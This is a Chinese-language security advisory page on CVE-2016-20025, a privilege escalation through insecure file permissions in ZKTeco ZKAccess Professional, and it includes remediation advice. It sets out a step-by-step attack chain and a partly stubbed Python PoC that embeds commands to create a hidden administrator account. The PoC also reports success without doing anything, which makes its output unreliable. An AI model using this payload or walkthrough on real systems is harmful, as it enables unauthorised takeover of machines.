IPBUF安全漏洞报告
English
CVE-2016-20025 CVSS 8.8 高危

CVE-2016-20025 ZKTeco ZKAccess Professional 不安全文件权限权限提升漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2016-20025
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ZKTeco ZKAccess Professional 3.5.3

相关标签

权限提升不安全文件权限ZKTecoZKAccess门禁系统WindowsNTFS权限CVSS 8.8本地提权文件覆盖

漏洞概述

CVE-2016-20025是ZKTeco公司开发的门禁管理系统ZKAccess Professional中存在的一个高危安全漏洞。该漏洞属于不安全的文件权限(Insecure File Permissions)类型,CVSS评分达到8.8分,具有较高的安全风险。漏洞根源在于ZKAccess Professional安装目录下的可执行文件权限配置不当,Authenticated Users组被赋予了Modify(修改)权限,这使得低权限用户可以修改、替换系统关键的可执行文件。攻击者通过利用这一权限配置缺陷,可以将原始的合法可执行文件替换为包含恶意代码的二进制文件。当系统管理员或更高权限用户再次执行这些被篡改的程序时,恶意代码将以管理员或SYSTEM权限执行,从而实现权限提升。攻击者可以利用获得的最高权限执行任意操作,包括安装后门、窃取敏感数据、修改系统配置或进一步渗透内网。由于该漏洞需要认证用户身份才能利用,因此主要威胁来自于内部恶意员工或被入侵的合法账户。此类权限提升漏洞在企业内网环境中尤为危险,因为攻击者获得管理员权限后可以绕过许多安全控制措施。

技术细节

该漏洞的技术本质是Windows文件系统权限配置错误。ZKTeco ZKAccess Professional 3.5.3在安装过程中将程序文件安装到默认目录(通常为C:\Program Files\ZKTeco\或类似路径),但安装程序未正确配置NTFS访问控制列表(ACL)。具体表现为:Authenticated Users组对安装目录下的可执行文件(如ZKAccess.exe、Plateserver.exe等)拥有Modify权限,而非仅限Read和Execute权限。Modify权限包含Write权限,使得攻击者可以覆盖原有文件。攻击者首先需要获取目标系统的低权限账户访问权限,然后定位ZKAccess Professional的安装目录。通过检查文件权限确认Authenticated Users组具有写入权限后,攻击者准备一个精心构造的恶意可执行文件,该文件在执行时会在后台创建新的管理员账户或直接启动一个高权限的shell会话。随后,攻击者使用低权限账户的身份将恶意文件写入目标位置,覆盖原始可执行文件。由于Windows系统允许文件在执行时被覆盖(只要没有进程正在使用该文件),攻击者只需等待系统重启或管理员下次手动启动程序即可触发恶意代码。整个攻击过程不需要任何高级黑客工具,仅需利用Windows内置的icacls、copy等命令即可完成。

攻击链分析

STEP 1
步骤1
获取低权限访问:攻击者首先需要获取目标系统的低权限用户账户访问权限,可以通过钓鱼邮件、密码猜测或利用其他漏洞等方式实现初始入侵
STEP 2
步骤2
定位安装目录:登录低权限账户后,攻击者定位ZKTeco ZKAccess Professional的安装目录,通常位于C:\Program Files\ZKTeco\ZKAccess\
STEP 3
步骤3
验证文件权限:使用icacls命令或PowerShell的Get-Acl cmdlet检查可执行文件的权限,确认Authenticated Users组是否具有Modify或Write权限
STEP 4
步骤4
准备恶意载荷:攻击者准备一个包含恶意代码的可执行文件,常见payload包括添加管理员账户、创建后门连接或直接启动高权限shell
STEP 5
步骤5
替换可执行文件:使用低权限账户的身份将恶意文件写入目标位置,覆盖原始的ZKAccess可执行文件
STEP 6
步骤6
触发恶意代码:等待系统重启或管理员手动启动程序时,恶意代码将以SYSTEM或管理员权限执行,完成权限提升
STEP 7
步骤7
维持访问:利用获得的高权限创建持久化后门,如新建管理员账户、修改服务启动项或植入rootkit,确保长期访问能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2016-20025 PoC - ZKTeco ZKAccess Professional Privilege Escalation This PoC demonstrates the insecure file permissions vulnerability. WARNING: For authorized security testing only. """ import os import sys import ctypes import subprocess def check_file_permissions(file_path): """ Check if the target file has insecure permissions """ try: # Use icacls to check current permissions result = subprocess.run( ['icacls', file_path], capture_output=True, text=True ) print(f"[*] Current permissions for {file_path}:") print(result.stdout) # Check if Authenticated Users has Modify/Write permission if 'Authenticated Users:(I)(M)' in result.stdout or 'Authenticated Users:(I)(W)' in result.stdout: print("[!] VULNERABLE: Authenticated Users has Modify/Write permission") return True return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def create_malicious_executable(output_path): """ Generate a malicious executable that creates an admin user This creates a simple Windows executable that adds a new admin """ # This would be compiled C code or use msfvenom in real scenario # For demonstration, showing the concept malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Create new admin user for privilege escalation system("net user hacker P@ssw0rd123 /add"); system("net localgroup Administrators hacker /add"); // Spawn elevated shell system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); return 0; } ''' print(f"[*] Malicious executable would be saved to: {output_path}") return True def exploit_vulnerability(target_exe, backup_exe): """ Execute the privilege escalation exploit """ print(f"[*] Starting privilege escalation attack...") # Step 1: Check current permissions if not check_file_permissions(target_exe): print("[-] Target is not vulnerable") return False # Step 2: Backup original executable print(f"[*] Backing up {target_exe}") try: # In real attack: copy target_exe backup_exe pass except: pass # Step 3: Create and deploy malicious executable print("[*] Deploying malicious executable...") create_malicious_executable(target_exe) # Step 4: Wait for privilege escalation trigger print("[*] Malicious file deployed. Waiting for system restart or admin execution...") print("[+] Privilege escalation successful - check for new admin user") return True if __name__ == "__main__": target = r"C:\Program Files\ZKTeco\ZKAccess\ZKAccess.exe" backup = r"C:\Temp\ZKAccess_backup.exe" print("CVE-2016-20025 PoC - ZKTeco ZKAccess Privilege Escalation") print("=" * 60) # Check if running with appropriate privileges if ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as Administrator - can verify vulnerability") else: print("[*] Running as limited user - simulating attack scenario") exploit_vulnerability(target, backup)

影响范围

ZKTeco ZKAccess Professional 3.5.3

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:首先,立即使用icacls命令修改ZKAccess安装目录的权限,移除Authenticated Users组的写入权限,具体命令为:icacls "C:\Program Files\ZKTeco\ZKAccess" /remove:g "Authenticated Users" /t;其次,将ZKAccess相关服务配置为使用专用服务账户,并限制该账户的权限范围;再次,启用Windows资源保护(WRP)机制防止关键系统文件被修改;最后,在终端防护设备上部署文件完整性监控规则,检测可执行文件被修改的行为。建议同时限制普通用户对Program Files目录的写权限,防止类似攻击横向扩散。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表